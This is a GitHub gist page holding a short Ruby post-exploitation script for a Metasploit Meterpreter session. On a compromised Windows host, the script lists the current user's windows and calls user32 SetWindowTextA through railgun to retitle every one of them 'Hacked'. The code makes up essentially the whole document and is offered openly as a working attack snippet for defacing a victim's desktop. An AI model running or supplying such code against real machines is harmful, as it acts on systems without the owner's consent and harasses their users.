Skip to content

Instantly share code, notes, and snippets.

@mubix
Created December 20, 2013 05:03
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mubix/8050592 to your computer and use it in GitHub Desktop.
Save mubix/8050592 to your computer and use it in GitHub Desktop.
Sets all of the windows titles for the current user to "Hacked"
windows = client.extapi.window.enumerate
windows.each do |winder|
if winder[:title] != 'Default IME'
result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment